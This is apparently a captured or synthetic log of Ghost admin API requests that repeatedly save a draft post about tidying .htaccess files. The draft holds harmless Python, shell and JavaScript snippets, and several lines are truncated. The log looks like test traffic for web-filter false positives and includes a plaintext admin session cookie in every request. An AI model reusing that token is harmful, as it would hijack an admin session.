script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8105", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8135", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8578", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8337", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Bid%3A-%276af458a5d281b00001a59969%27&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?filter=newsletters.slug%3Adefault-newsletter%2Bemail_disabled%3A0%2B%28status%3Afree%2Cstatus%3A-free%29&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8061", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the 